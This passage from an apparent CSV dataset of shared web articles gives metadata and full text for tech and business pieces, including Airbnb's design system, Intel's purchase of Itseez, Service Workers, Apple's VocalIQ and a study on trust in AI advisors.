library While creating these components, we collected them in a master file called the library, which we referred to throughout the design process. After a week or two we began to see huge leaps in productivity by using the library when iterating on designs. One day, while putting together a last-minute prototype, our team was able to create nearly 50 screens within just a few hours by using the framework our library provided. While the library was growing, we started organizing individual components into artboards containing similar items. These artboards were then organized by general category into: Navigation, Marquees, Content, Image and Speciality. We created one set of these components for phones (iOS and Android), and adapted them to tablet sizes from there. Tablet components are largely the same as those for mobile, and on a technical level the code only needs to exist once in two different styles. With this system components can vary in their look and positioning, similarly to the way responsive design works for web. Designers can then design a screen once using common components, and it can be easily adapted to different screen sizes as well as to iOS and Android. For tablet we created a couple of simple layout concepts, such as Focus Views, which focuses the content on the page, modals, and 2-column and grid layouts. All of the components and views are built with our own technical view framework, which handles these styles, states and adaptivity. [2] Lessons Learned We knew that this was a challenging project. It meant re-designing and rebuilding the majority of the views in our app. We managed to make our goal of creating the system and releasing the new apps on April 17th. As with any project, there are things we wish we would have done differently. Not all components are created equal . In most apps there are a set of components that repeat often. For us, these components are rows (or table-cells). Looking back, I wish we had taken more time to think about the rows and come up with a stronger set of patterns and components. In the end, we wound up with many different kinds with some inconsistencies. Sketch . We initially tried to create these components as symbols in Sketch, which resulted in a mess. Even now, our Sketch files are sometimes challenging to maintain. Moving forward, we hope to find better ways of maintaining and creating new components. [3] Documentation . This project required us to operate within a tight timeline, which caused us to overlook some of the documentation process. Lacking thorough documentation created some confusion that could have been avoided. Just like with coding, documenting systems as they are created is paramount to the process. It has to be done sooner or later, and documenting throughout the creation process allows for smoother decision-making. Conclusion While this was a monumental task that ended up requiring efforts from many of our product teams, we found that creating our Design Language System was worth the investment and a huge leap forward. Since the design language and code are often shared, we can now build and release features on all native platforms at roughly the same time. Development is generally faster, since product engineers can focus more on writing the feature logic rather than the view code. Additionally, engineers and designers now share a common language. Designers were also excited about the system. It enables product reviews to focus on the actual concepts and experiences of a design, rather than padding, colors and type choices. The DLS provides us with a shared understanding of our visual style, and streamlines contributions to a single system. This system also enables all of us to prototype and experiment with ideas in high fidelity faster and at a lower cost. I believe that aided with these systems we can focus more on actual user experiences and concepts we want to create in the future. Footnotes: [1]: Many great projects are about teams and there are always too many people to thank for but I wanted to highlight few people who made this project happen: Bek Stone , Adam Michela , Amber Cartwright , Alex Schleifer , Michael Bachand, Paul Kompfner, Sean Abraham , Salih Abdul-Karim, Michael Sui + many others in the design and engineering teams. Thanks Josh Leong, Sola Biu, Catherine Waite for reading the drafts of this. [2]: I'll leave it to one of our engineers to write more about the technical side the DLS. [3]: In our case, we want people to be able to change the symbol sizes (eg. you need to fit in more content in to a header). If you need to resize or accidentally resize something, Sketch (<3.5) would automatically resize every instance of that symbol. That would kill your sketch for few moments and probably mess up your file permanently (sometimes undo didn't work). We ended up putting the components in Layer Groups, and letting people copy and paste them. We also use git/github to facilitate the file updating process. We manually create and add new components to our master library Sketch file, and submit pull requests with a change log and generated png exports that document the changes. After that, the Sketch file ends up in to a shared Box folder, which is linked to Sketch templates, so everyone has access to the new components immediately. Karri Saarinen is a Principal Designer at Airbnb and likes craft coffee, photography and cooking. You can find him on Twitter at @karrisaarinen .",en
1464356273,CONTENT SHARED,5431399346444238856,22763587941636338,1852354987960602857,,,,HTML,http://techcrunch.com/2016/05/26/intel-buys-computer-vision-startup-itseez-to-improve-navigation-in-self-driving-cars/,Intel buys computer vision startup Itseez to improve navigation in self-driving cars,"Intel has acquired computer vision and machine learning startup Itseez to develop better navigation for self-driving cars. The value of the deal was undisclosed. Founded in 2005 and based in San Francisco, Itseez makes computer vision algorithms and software. The company's products include a suite of algorithms for automobiles it calls ""advanced driver assistance systems,"" which allows car hardware to recognize pedestrians and traffic signs and warn about potential collisions. The acquisition of Itseez comes one month Intel announced the purchase of Yogitech , another Internet of Things-related company. Based in Italy, Yogitech works on functional safety for semiconductors (which means its tech makes sure the chips powering autonomous vehicles are working properly). Last year it also bought Lantiq, which makes chips for smart objects . Intel already makes chips, software, and a development kit for self-driving cars. In Intel's announcement, Doug Davis, Intel senior vice president and general manager of its Internet of Things Group (IOTG), said, ""Itseez will become a key ingredient for Intel's Internet of Things Group roadmap, and will help Intel's customers create innovative deep-learning-based [computer vision] applications like autonomous driving, digital security and surveillance, and industrial application."" Itseez has also developed algorithms for robotics, surveillance, smartphones, and sports analytics. The acquisition is part of Intel's strategic shift, which it announced last month , from PC chip maker to cloud computing, the Internet of Things, and analyzing data from those devices. Intel says its data center and Internet of Things businesses, which make up 40 percent of its total revenue, are already its ""primary growth engines,"" and have helped it weather a decline in the PC market by creating a total of $2.2 billion in revenue growth last year. But the restructuring has already come at a huge cost-Intel is laying off 12,000 employees , or 11 percent of its workforce. Intel CEO Brian Crzanich said the job cuts are part of Intel's ""restructuring to accelerate its transformation."" Featured Image: Jarous / Shutterstock",en
1464367167,CONTENT SHARED,1959495508923903948,816623031097334102,-2847274766174583505,,,,HTML,http://www.mundologistica.com.br/portal/noticia.jsp?id=2803,"Revista MundoLogística - Sistema desenvolvido por estudante do CTC/PUC-RIO gera economia de US$ 10 milhões, no transporte marítimo","Otimizar a programação de frotas de navios e reduzir os custos no transporte de petróleo é a proposta do estudo defendido pelo estudante de mestrado, Gustavo Diz, sob a orientação do professor Luiz Felipe do Carmo, do Departamento de Engenharia Industrial do Centro Técnico Científico da PUC-Rio (CTC/PUC-Rio).",pt
1464376103,CONTENT SHARED,171877380813632915,-5527145562136413747,-1826782609333577259,,,,HTML,http://www.nytimes.com/2016/05/26/fashion/office-fashion-uniforms.html,The End of the Office Dress Code,"A few days later, sweatergate broke out in the United States when a weather forecaster on KTLA-TV in Los Angeles was handed a gray sweater to cover up a tank dress she was wearing on the air. She said it was a joke, courtesy of her co-anchor, but Twitter took offense, perceiving it as an attempt to control what women wear. All of this follows famous dress code brouhahas like the UBS scandal of 2010 when the Internet discovered that the Swiss bank had issued a 44-page booklet of guidelines for employee dress that included instructions on shoulder width and underwear shade. Then there was the ""flat shoe"" uproar of 2015, when two women were supposedly barred from the red carpet in Cannes for not wearing heels. (The festival director denied the report on Twitter.) And earlier this year, Kansas State Senator Mitch Holmes was forced to issue a public apology for having included, in his guidelines for the Senate Ethics and Elections Committee, which he chaired, a rule for those appearing before the state panel that read: ""Conferees should be dressed in professional attire. For ladies, low-cut necklines and miniskirts are inappropriate."" No such specific guidelines were issued for men. Oops. This did not sit well with many. ""I have decided to retract the conferee guidelines,"" he said later in a statement, which also noted, ""My failure to clearly specify that all conferees, regardless of gender, should strive to present themselves professionally is unacceptable."" The slippery slope may have started as a gentle incline way back in the 1970s, and become a bit steeper during the Casual Friday movement of the 1990s and the success of the Facebook I.P.O. in 2012 with its hoodie-wearing billionaires. But today, we are speeding down it at breakneck pace, partly thanks to the hot-button conversation around gender equality, and fluidity. ""There has been a dramatic change very recently,"" said Susan Scafidi, a law professor at Fordham University and founder of the Fashion Law Institute. She noted that last December the New York City Commission on Human Rights announced new guidelines for the municipal human rights law that expressly prohibited ""enforcing dress codes, uniforms, and grooming standards that impose different requirements based on sex or gender."" As a result, no employer may require men to wear ties unless they also require women to wear ties, or ask that heels be worn unless both sexes have to wear them. And though this applies only to ""official"" dress codes, the trickle-down effect is inevitable. ""Dress is now open to the interpretation of the individual, rather than an institution,"" Professor Scafidi said. This has created an even greater tension in the more ambiguous areas of office dress, especially as the boundaries between home and work become ever blurrier. ""There's a strain of thought that says an employee represents a company, and thus dress is not about personal expression, but company expression,"" Professor Scafidi said. ""But there's a counterargument that believes because we identify so much with our careers, we should be able to be ourselves at work."" And that has led to all sorts of complications. One person's ""appropriate"" can easily be another's ""disgraceful,"" and words like ""professional,"" when used to describe dress requirements, can seem so vague as to be almost meaningless. Kanye West wearing ripped jeans and a jeweled Balmain jacket at the Met Gala: cool or rude? Julia Roberts at the premiere of ""Money Monster"" at Cannes this year in bare feet: red carpet pioneer or a step too far? At The New York Times, Michael Golden, the vice chairman, told me: ""We have customer-facing jobs and those that are principally internal. We ask employees to dress appropriately for the interactions planned for their day."" But that can have broad interpretations. In the newsroom, people show up in everything from double-breasted suits to shorts; from sneakers and Birkenstocks to platform heels. All of which leaves us where? Confused, mostly. And fast trying to create our own codes, or parse those of the offices around us. Mark Zuckerberg, for example, is on the record as saying he wears the same gray T-shirt every day so that he can focus his energy on other decisions. Ms. McClendon acknowledges that she tends to wear ""all black, pretty much every day, and sculptural shapes - it's the museum uniform."" Professor Scafidi said, ""My business uniform is a black jacket with a fitted, knee-length sheath, classic 100-millimeter single-sole pumps, and usually our logo pin - my equivalent of armor, arms and insignia, respectively."" Indeed, according to Ms. McClendon, uniforms evolved for a reason: ""They fulfill a need to identify your place in the world,"" for the wearer and the observer. At least when they are easy to read. And part of the idea behind the F.I.T. show, she said, was to ""put visitors in the mind-set to consider uniform dressing more broadly, and how it impacts their own lives."" In other words, to live an examined life when it comes to your wardrobe and your workplace. Because these issues are only going to get more complicated. ""We are moving into an era where personal expression is going to trump the desire to create a corporate identity,"" Professor Scafidi said. ""It's a huge power shift."" And it has already begun.",en
1464388061,CONTENT SHARED,511891900317865118,-709287718034731589,-7521446275214227001,,,,HTML,http://martiancraft.com/blog/2016/05/porting-ios-design-to-andoid/,Why porting an iOS design to Android will not work,"During the four years I have been doing Android development, on projects both big and small, there's been one common problem: design. Even on teams which have dedicated UX/UI designers, or on teams where iOS drives the Android design, I find myself making the same case over and over: advocating to do Android the right way. It's important to make an app look, feel, and function natively on Android. More times than not, when I relay this issue to project leads, I am met with the same response: ""It doesn't matter, no big deal."" I am here to tell you it does matter - and I want to walk you through some examples why. From a user perspective Hardware Back Buttons Are a Thing Navigation on iOS is done in the app using UI buttons, whereas navigation on Android is done with both UI controls and the hardware buttons on the device. Many times the app must be aware of the user hitting the back button on Android. Pressing the back button normally takes the user back to the previous page. However, in abnormal situations there must be a discussion of the UI and app flow. For example, if the app has several on-boarding screens, and upon completion of the on-boarding, the user does not need or want to go back to the start of on-boarding, a discussion is in order to determine what happens if an Android user hits the back button in this situation. Where should the app take the user? This is not an issue iOS users face - so it is a new design challenge for Android navigational flows. In order to navigate back in an iOS app, the user normally looks for a back arrow to hit, or can use an edge swipe. That's where pressing the soft/hardware back button serves the same purpose as the software back buttons do in iOS. Some app designs call for an ""X"" button to leave a page or modal. While this is visually appealing, and even necessary for iOS, this button simply should not be on the Android UI. Android users naturally and intuitively hit the hardware back button to exit a dialog without buttons, so there is no need to introduce an ""X"" or close button in the design. Examples of an X button to exit a page from some well known social Android apps (Twitter and Instagram) which are not needed. Slack gets it right by modifying the design to stay true to the platform. iOS (left) vs Android (right) It is very important for designers, developers, and product owners to consider that iOS and Android have different native standards when it comes to navigation patterns and screen transitions, and to be aware of the most current information available on these things. Google's Material Design documentation does a fantastic job of detailing screen transition use, and applying proper navigation patterns to your app. Android users are accustomed to certain navigation and UI patterns. Most apps adhere and keep the user's experience consistent with Android's UI patterns. iOS navigation often uses the bottom tab bar for navigating throughout the app. For Android users this is inconsistent with the standard design language and may frustrate users at first glance. It is better not to utilize the bottom tab bar options and present the navigation options under the hamburger icon which is standard on Android. A great example is how Yelp did this for both to its mobile apps. ( Starting in Android N, Google is introducing bottom navigation. However there is no release date on when it will be available to the public. ) Yelp iOS with bottom nav options (left) , Android with nav option under the hamburger icon (right). If Android is a serious platform for your company, you need to hire designers who are familiar with iPhone and Android designs languages. Platform differences are not only the way things look, but also differences in the structure and flow of the app. Designers need to spend some time getting familiar with the Android platform through hands on experience with Android devices. From a developer perspective Custom views for standard iOS controls Often times, designers expect each element to look the same across platforms, and this requires additional development effort to achieve the same default design as iOS. The more complicated use cases are default controls such as radio buttons, checkboxes, toggles, etc which require a custom view implementation in order to achieve the right ""iOS"" look. An example would be date pickers. Android users typically are not familiar with slot machine reel style date selections. Custom views can get complex which increases work load, complexity, and alienates your app design on Android - all with a negative benefit for Android users. Standard Android Controls Standard iOS Controls iOS/Android Animations are not created equal iOS animation frameworks seem like the platform was built with animation in mind. In contrast, Android animation frameworks seem to be built as an afterthought. Android's animation framework is not nearly as robust as iOS. A very similar comparison would be iOS AV Foundation, which is leaps and bounds to Android's camera and bitmap apis. If animation is required in the design, the UX designer needs to sit down with the developer to see what is achievable in the timeframe of the project. One of my previous projects had a complex profile page which included your profile pic and other information. The page required a sticky header on a list view along squishing/scaling/fading your profile pic (see gif for visual). The animation could be done at a somewhat high level using the built-in iOS framework. Android requires a deeper or lower level approach by extending/customize core view components provided. Not sure how long it took my iOS counterpart, but I am positive it took me much longer to implement this effect on Android. I enjoyed the challenge and everything turned out, however it wasn't as simple and quick as the iOS development side. Sharing experience iOS uses share sheet which allows the developer to customize the share sheet menu to a degree. Often times, designers will want this share experience to port exactly over to the Android app as much as possible. Android handles the share experience by calling out to any app that can share the content type. It would be unnecessary to spend time creating unique share experience for your Android users. Custom experiences have their place in the world, however, the standards are almost always the way to go. Sticking with the standards creates time savings for the product team, by not having to toil over a custom share experience, and for your app users not having to spend extra time learning your unique share experience. Android the right way The message is not that Android development is harder - Android is simply different in design and development when compared to iOS, and needs to be considered as such from the beginning. I encourage product owners and designers to lean on experienced Android developers for recommendations which will help avoid needless development cycles during the project. Project managers and stakeholders must take into consideration timelines for Android production may or may not match the iOS timelines feature-for-feature when things are done correctly. Doing things correctly fares better for your customers than simply trying to mirror what was done on iOS. Investing in Android requires patience and a good understanding of the platform. Remember Android has at least 50% of the U.S smartphone market , if done correctly you will not only gain the attention of your Android customer base, but you can win their affection. Don't leave half the smartphone market behind just to save money on design. Android users always notice.",en
1464391845,CONTENT SHARED,-89955207814154444,-1443636648652872475,-3067318321592827976,,,,HTML,https://infrequently.org/2016/05/service-workers-and-pwas-its-about-reliable-performance-not-offline/,Infrequently Noted,"A lot of smart folks keep asking me why AppCache isn't a good enough solution for ""offline"" and why it was necessary to invent Service Workers . It's a great question! Motivated by the regrettably uneven browser support landscape for Service Workers, there's a real incentive to ""just make something work offline"" on iOS or old-IE. This phrasing obscures the primary experience difference between native apps and web content: native apps always ""boot"" when you tap on them. The legacy web, however, can take as long as the TCP timeout (2 minutes in many devices) to end in failure. That's a looooong time to be looking at a white screen. But doesn't AppCache let you cache documents you might want offline? Sort of. Kinda. Ish. Turns out this only works in trivial cases. The issue is that the AppCache design only allows you to do ""routing"" using the FALLBACK section , and to trigger the FALLBACK URL (which can boot up, inspect it's environment, and do something custom) the request needs to have actually failed. To handle the general case - a site with an unbounded set of URLs - that means users are waiting on a flaky, slow network for minutes (if they're patient) before the the router page starts, which might then forward them on to content or a custom offline experience. ""But wait!"" , you say, ""doesn't AppCache also allow you to put documents in the cache directly, bypassing all of that?"" . Yes, it does, but because of AppCache's atomic update system and practical limits to storage space , this means that the set of URLs in this list needs to be low and change infrequently. You see this play out, for example, in the AppCache manifests that major Google services like Google Docs generate. These services wind up with major complexity related to creating manifests on a per-user basis and managing the entries in them. Those entries are carefully curated from amongst the entire set of possible URLs to ensure high performance for the entries users are likely to visit offline, but this still leaves everything else at the mercy of network flakiness. It's hard to stress enough how much better reliable performance is. Think of it this way: the first load of a native app sucks . It's gated by an app store and a huge download, but once you get to a point where the app is installed, that up-front cost is amortized across all app starts and none of those starts have a variable delay. Each application start is as fast as the last, no variance. What native apps deliver is reliable performance. Until Service Workers arrived, it simply wasn't possible to achieve this and that's why I designed Chrome's Add-to-Homescreen prompting behavior to require a Service Worker that responds quickly for the URL listed in the Manifest's start_url . The heuristic is designed to only promote experiences that are ""app-like""; recognizing that a key differentiator between the ""old web"" and native apps is reliable performance . Remy Sharp blogged about the experience and expectation differences that we've worked hard to bake into Progressive Web Apps . Reliable performance is the most important of these and the reason Progressive Web Apps require Service Workers. It isn't that ""offline"" support doesn't matter - it does - but apps that work well offline are a subset of things that are apps , experiences you can trust to start any time, anywhere, on any connection. I'll be speaking more about this at Google I/O in a few weeks, and I'm hugely excited about the ways that the web is going to get better this year; starting with experiences that always work.",en
1464399709,CONTENT SHARED,-9105040345021932755,3609194402293569455,-2384402851232450379,,,,HTML,http://saiadolugar.com.br/lideranca/the-100/,Lições de empreendedorismo com a série The 100,"Quem acompanha a série do canal americano CW, The 100, provavelmente já está sofrendo de uma pequena abstinência, já que quinta-feira passada foi a season finale da terceira temporada. Enquanto aguardamos ansiosamente o começo da próxima temporada, por que não tirar umas boas lições de empreendedorismo da série ? Sim, pode parecer um pouco estranho pensar que um programa de ficção de cientifica, que se passa num futuro muito fora da nossa percepção, possa ajudar a sermos melhores empreendedores. Mas, acredite, a série é tão completa que fica difícil escolher quais pontos abordar! Veja agora como a série vai tornar você um empreendedor ainda melhor. Confira! Mas eu não assisti a série Se você não assistiu, deveria. Mas vou fazer um pequeno resumo para que você entenda melhor as lições que ela passa. The 100 se situa em um futuro no qual a Terra é inabitável, ou assim se acredita, devido ao alto nível de radiação decorrente de bombas nucleares. As personagens moram em uma estação espacial chamada Arca que, por 100 anos, vem sendo a casa dos seres humanos que sobreviveram às bombas nucleares. Porém, com o grande número de pessoas morando na estação espacial, o ar começa a não ser o suficiente para todos os habitantes. O que leva os seus lideres a tomarem uma decisão difícil: enviar 100 pessoas - consideradas marginais - para a Terra. E é ai que a série começa a ficar muito interessante. Os enviados à Terra, ou Skaikru como são chamados, passam por inúmeros dilemas, conflitos, desafios e descobertas, que podem e devem servir de exemplo e lição para àqueles que embarcam no novo mundo do empreendedorismo. Lições de empreendedorismo Os Skaikru podem nos ensinar muito, então vamos começar com as lições? 1. Não desista fácil, continue lutando Começar um negócio não é fácil . Não importa se você vai criar uma empresa com poucos funcionários ou se vai voar solo, você terá momentos muito difíceis. Assim como em The 100, que as personagens sempre são pegas de surpresa - seja por falta de ar na Arca ou por terráqueos que habitavam a terra que eles acreditavam estar vazia -, não desista. Na série elas estão sempre procurando novas saídas e novas estratégias, já que desistir não está dentro de seu vocabulário. Você que quer empreender deve seguir a mesma lógica. Nunca desistir . Se o plano que você fez não está funcionando, faça outro. Se a equipe que você juntou não está rendendo bem, mude. Não importa o que aconteça, não coloque a desistência como uma opção. Perseverança deve ser o lema de qualquer pessoa que esteja começando a empreender. 2. Tenha iniciativa Quando os Skaikru chegam à Terra eles têm que praticamente construir uma vila do zero. Nessa hora várias personagens tomam a iniciativa de ir atrás de materiais e comida, e se disponibilizam a construir muros e tendas. Quando se tem uma ideia e queremos começar a empreender temos que construir nosso negócio do zero também, e é ai que entra a iniciativa. De nada adianta você ter uma ideia incrível na cabeça mas não fazer nada para que ela saia do papel. Iniciativa é o que faz alguém deixar de ser um sonhador para se tornar um empreendedor . 3. Saiba planejar e gerir Constantemente vemos os líderes planejando e fazendo uma boa gestão na série. Estão sempre atentos às necessidades dos moradores tanto da Arca quanto dos Skaikru. Analisando os abastecimentos de comida, medicamentos, peças necessárias para desenvolver novos equipamentos, munição, etc. Também vemos os comandantes sempre planejando estrategicamente formas de atacar ou se aproximar de inimigos e outros grupos. No mundo do empreendedorismo também é assim. O empreendedor deve sempre estar atento às necessidades do seu negócio e formas de supri-las. Assim como, também, deve estar atento à concorrência e possíveis alianças. Por isso sempre faça um benchmark para conhecer bem o que os seus competidores estão oferecendo para conseguir fazer um bom plano estratégico. 4.Acredite em você mesmo Durante o seriado a personagem Clarke bate de frente com vários outros personagens, pois tem convicção de que sua opinião está certa, e na maioria dos casos realmente está. Mas o ponto não é esse. Por acreditar tanto em si mesma Clarke acaba por passar muita confiança e credibilidade aos demais. O empreendedor também deve agir assim! Se quer ter sucesso ele deve mostrar a sua equipe que confia em suas opiniões e passar confiança . Para trabalhar a autoconfiança talvez o empreendedor possa procurar um mentor com quem se sinta confortável para conversar e discutir os dilemas que aparecem. 5. Saiba liderar Duas das personagens mais queridas da série são as líderes dos respectivos clãs. Dos terráqueos, Lexa e dos Skaikru, Clarke. Lexa lidera, com muita racionalidade e força, 13 clãs de terráqueos e seus exércitos, sempre lutando para conseguir o melhor para seu povo. Clarke lidera os Skaikru desde os primeiros passos que deram na terra, tomando decisões e lidando com os temperamentos difíceis dos moradores da Arca. Tanto Lexa quanto Clarke são líderes natas e mostram que, mesmo em tempos tumultuados é preciso saber tomar decisões com cautela. Apesar de liderarem grupos opostos e que, em certo ponto, foram inimigos, as líderes souberam quando era hora de juntar forças para lutar contra um inimigo em comum. Ao se aventurar no mundo do empreendedorismo, os novos navegantes devem ter em mente que saber gerir e liderar uma equipe é o primeiro passo para o sucesso . O empreendedor precisa desenvolver a liderança e não deve se prender só ao operacional, mesmo que tenha trabalhado a vida inteira para terceiros. Assim como Clarke e Lexa, ao empreender é necessário saber tomar decisões difíceis em tempos de tempestade, para conseguir a melhor saída para o empreendimento. É preciso saber fazer alianças certas, escolher bem suas batalhas e saber identificar quanto é necessário mudar a direção da sua estratégia de negócio. 6. Não seja um ditador Em certo ponto na série um personagem chamado Pike assume, de forma um tanto autoritária, a liderança dos Skaikru. Sua gestão é marcada pelo autoritarismo e pela imposição de normas ditatoriais que acabam prejudicando a convivência do povo Skaikru com os terráqueos. Por ser um líder ditador, Pike acaba levando por água abaixo todo a harmonia que foi arduamente construída com os terráqueos e prejudica todas as novas alianças que foram feitas. Um bom líder não deve se comportar como um ditador, que acredita que só a sua visão é correta para seu povo. Às vezes suas convicções podem não ser exatamente o melhor para a sua equipe e podem, inclusive, levá-los a falência. Por isso o bom empreendedor deve saber considerar a opinião da sua equipe , analisar os internos e conseguir tomar decisões baseadas no trabalho de todos envolvidos no seu negócio. não apenas com as certezas da sua cabeça. 7. Coloque o pé no chão Jaha era o comandante dos Skaikru no espaço, mas quando aterriza na terra ele perde esse posto. Abalado com a perda do filho e com a nova vida na terra, o personagem sai em busca de uma cidade um tanto utópica: a Cidade da Luz. Um lugar onde tudo é perfeito, as pessoas não tem memórias ruins e não sentem dor. Porém para alcançar esse objetivo de levar todos para a Cidade da Luz, Jaha acaba ficando cego pelo seu sonho e prejudica seu povo por não conseguir colocar o pé no chão. Acaba levando-os à uma guerra desnecessária. E esse pode ser um dos maiores erros cometidos por novos empreendedores. Não saber colocar o pé no chão. Empreendedores são sonhadores que resolveram agir, mas as vezes ficam cegos com o objetivo final de alcançar o sucesso e não conseguem enxergar que talvez, as ações que estão sendo tomadas, estão prejudicando mais do que ajudando o empreendimento a crescer. Então sempre coloque os pés no chão e olhe atentamente ao redor. Analise as decisões tomadas e suas consequências. Ao contrário do que Maquiavel disse ""os fins justificam os meios"", todas as decisões tomadas em um empreendimento devem ser analisadas e bem estruturadas. Não adianta só pensar no sucesso e ignorar as inúmeras consequências. 8. Mulheres no comando Um ponto visivelmente marcante em The 100 é o fato das mulheres ocuparem lugares de liderança. Elas são lideres de exércitos, líderes de clãs, cientistas, médicas, soldadas e qualquer outra coisa que desejam ser. Na série as mulheres são empoderadas e colocadas no mesmo patamar que qualquer personagem masculino. E não é só na série que as mulheres estão dominando. De acordo com uma feita pelo Sebrae o número de mulheres à frente de pequenas e médias empresas é cada vez maior ! Às mulheres que assistem a série: observem todas as personagens femininas e o tamanho da força e determinação que elas carregam, é isso que você precisa para dominar o mundo do empreendedorismo. Temos um artigo incrível sobre mulheres empreendedoras , não deixe de ler. Por fim, espero que você que já está empreendendo ou está pensando em embarcar nessa nova aventura tenha se sentido inspirado. Uma boa leitura para você continuar aprendendo um pouco sobre quais os próximos passos tomar em relação ao empreendedorismo é nosso artigo sobre como atrair investidores para o seu negócio, ou nosso guia completo de como abrir um e-commerce de moda! May we meet again",pt
1464437394,CONTENT SHARED,505090987429665116,-1443636648652872475,-5776509271615142261,,,,HTML,http://www.engadget.com/2016/05/27/google-ray-kurzweil-chatbots/,Google and Ray Kurzweil are making chatbots together,"Although Kurzweil didn't spill a lot of details, he did say that one of those chatbots is named Danielle. Since it's based on a character he wrote for one of his unpublished novels, we're guessing they're feeding it samples of his writing to give it the personality he envisions. The futurist is known for his prediction that AIs will pass the Turing test in 2029, and developing these bots is a step in that direction. Kurzweil says they're planning to release some of the chatbots they've been working on later this year. Hopefully, Google learned from Microsoft's experience , so Danielle doesn't turn out like Tay.",en
1464477596,CONTENT SHARED,2602738827388230683,-1443636648652872475,-5776509271615142261,,,,HTML,http://www.businessinsider.com/how-apples-vocaliq-ai-works-2016-5,Apple is working on an AI system that wipes the floor with Google and everyone else,"Apple/YouTube Siri is due for a big upgrade. Apple now has the tech in place to give its digital assistant a big boost thanks to a UK-based company called VocalIQ it bought last year . According to a source familiar with VocalIQ's product, it's much more robust and capable than Siri's biggest competitors like Google Now, Amazon's Alexa, and Microsoft's Cortana. In fact, it was so impressive that Apple bought VocalIQ before the company could finish and release its smartphone app. After the acquisition, Apple kept most of the VocalIQ team and let them work out of their Cambridge office and integrate the product into Siri. Before Apple bought the company, VocalIQ tested its product against Siri, Google Now, and Cortana, and the results were impressive. Users asked each AI questions using normal language, not the robotic commands you're used to using with digital assistants. Those commands can be long and complicated, and the other assistants had trouble catching everything. For example, imagine asking a computer to ""Find a nearby Chinese restaurant with open parking and WiFi that's kid-friendly."" That'd trip up most assistants, but VocalIQ could handle it. The result? VocalIQ's success rate was over 90%, while Google Now, Siri, and Cortana were only successful about 20% of the time, according to one source. How VocalIQ works After writing the program, VocalIQ hired contractors through Amazon's Mechanical Turk to feed the program queries normal humans would ask and help it learn how people talk. These contractors would ask VocalIQ questions from a list of prompts to train the system. After about 3,000 dialogues, VocalIQ already started to get much more accurate. Once the process was finished, VocalIQ had recorded about 10,000 dialogues from Mechanical Turk contractors. To put that in context, Siri brings in 1 billion queries per week from users to help it get better. But VocalIQ was able to learn with just a few thousand queries and still beat Siri. AP VocalIQ may sound similar to Hound , a new digital assistant app that launched on iPhone and Android recently, but Hound only works one session at a time. VocalIQ remembers context forever, just like a human can. That's a massive breakthrough. Let's go back to the Chinese restaurant example. What if you change your mind an hour later? Simply saying something like ""Find me a Mexican restaurant instead,"" will bring you new results, while still taking into account the other parameters like parking and WiFi you mentioned before. Hound, Siri, and any other assistant would make you start the search session over again. But Vocal IQ remembers. That's more human-like than anything available today. Because VocalIQ understands context so well, it essentially eliminates the need to look at a screen for confirmation that it's doing what you want it to do. That's useful on the phone, but could be even better for other ambitious projects like the car or smart speaker system Apple is reportedly building. (VocalIQ was being pitched as a voice-controlled AI platform for cars before Apple bought the company.) In fact, VocalIQ only considers itself a success when the user is able to complete a task without looking at a screen. Siri, Google Now, and Cortana often ask you to confirm tasks by tapping on the screen. It acts like a real assistant, not just voice search VocalIQ's platform is also malleable enough to be programmed for anything you want to do. One example a source gave was teaching it to successfully manage email while a user's phone was in their pocket. (Just like Joaquin Phoenix's character controls his phone in the movie ""Her."") In theory, Apple would be able to train Siri to do everything much better using VocalIQ. VocalIQ can also filter out extraneous noise to figure out exactly what you're saying, thus making it more accurate than Siri is today. It's able to take in all the noise in an environment - the TV, kids shouting, whatever - and determine with a high probability which sound is actually the user's query. It can even learn to adapt to different accents over time to improve accuracy. If you've ever had trouble getting Siri to understand you, then you know how important this is. Amazon It's still unclear when Apple plans to implement more of VocalIQ's capabilities into Siri. One source speculated that it may happen slowly over time, so as not to throw off users with a radical change. But it sounds like Apple is arming itself for a significant shift in how Siri works. Apple declined to comment. Meanwhile, Siri is about to get some other improvements this year. According to Amir Efrati of The Information , Apple will open up Siri to developers, similar to the way Amazon has opened up its Alexa assistant. That means third-party apps will let you start using your voice for some tasks. (""Siri, call me an Uber,"" for example.) Recently, there have been doubts about Apple's artificial intelligence efforts. At its big annual conference in May, Google showed off some intriguing new uses for its AI, including Google Home, a smart speaker with its digital assistant built inside. Marco Arment, a well-known developer and big voice in the tech community, wrote on his blog that if Apple fails to keep up with AI and voice-powered platforms take off, the company risks suffering the same fate as BlackBerry. But it sounds like Apple isn't sitting still while its competitors go all in. Read the original article on Tech Insider . Follow Tech Insider on Facebook and Twitter . Copyright 2016.",en
1464490743,CONTENT SHARED,5009420943344705199,-1032019229384696495,-5183616303429973080,,,,HTML,http://qz.com/693194/people-dump-ai-advisors-that-give-bad-advice-while-they-forgive-humans-for-doing-the-same/,"People dump AI advisors that give bad advice, while they forgive humans for doing the same","We accept that to err is human. Not so with machines. When our electronic counterparts fail us-whether its baggage screening software or the latest artificial intelligence-we are quick to shun their advice in the future. That has big implications as machines infiltrate the workplace, offering services once provided by human colleagues. University of Wisconsin researchers recently sought to test how we might get along with our future AI coworkers. The researchers asked 160 college undergraduates to forecast scheduling for hospital rooms, an unfamiliar task. They relied on advice from either an ""advanced computer system"" or a human specialist in operating room management. After seven of 14 scheduling trials, participants were given faulty advice from their respective advisors. People reported equal trust in both sources at the outset of the experiment, but that quickly changed after the error. When the computer advisor made a mistake, many participants abandoned it and ignored its advice in subsequent trials. Computer consultations fell from 70% to less than 45%. Human advisors, on other other hand, were essentially forgiven. Researchers saw only about a 5% drop in how often participants relied on their human advisor after the error. Andrew Prahl, one of the study's authors and a researcher at the university, says their findings suggest that potential efficiency gains from automation in the workplace could be lost if people lose trust and stop using these systems. While people have come to expect nearly flawless performance from basic automated systems that run our laptops and process credit cards, we are entering an era when computers will make forecasts and judgments for us. Artificial intelligence is already making legal judgments , recommending investments , and making inroads in other professional fields. The advice these algorithms offer, however, deals with an inherently uncertain world. They will be wrong far more often than our current expectations for automated systems. ""This is more a psychological problem for the users of such systems,"" wrote Prahl by email. As people transpose their expectations from more basic automated systems into the realm of judgment and forecast, employees ""need to understand that this system, like their colleague, cannot be right all of the time. So managers should be encouraging their employees to forgive the automation when it makes a mistake (as funny as that may sound)."" Prahl and his co-author Lyn Van Swol are now trying to understand what psychological forces underlie this phenomenon. Participants in his study reported they felt they held ""more in common"" with the human advisor than the automated advisor, but exactly what characteristics people believe they share are unclear. Previous research suggests a common sense of being imperfect, a willingness to self-correct after mistakes, and a sense of wanting to do well were all candidates. Prahl believes artificial intelligence can be programmed to exhibit some of these traits, and plans to tackle this research next. The findings will be presented in June at the 66th Annual Conference of the International Communication Association in 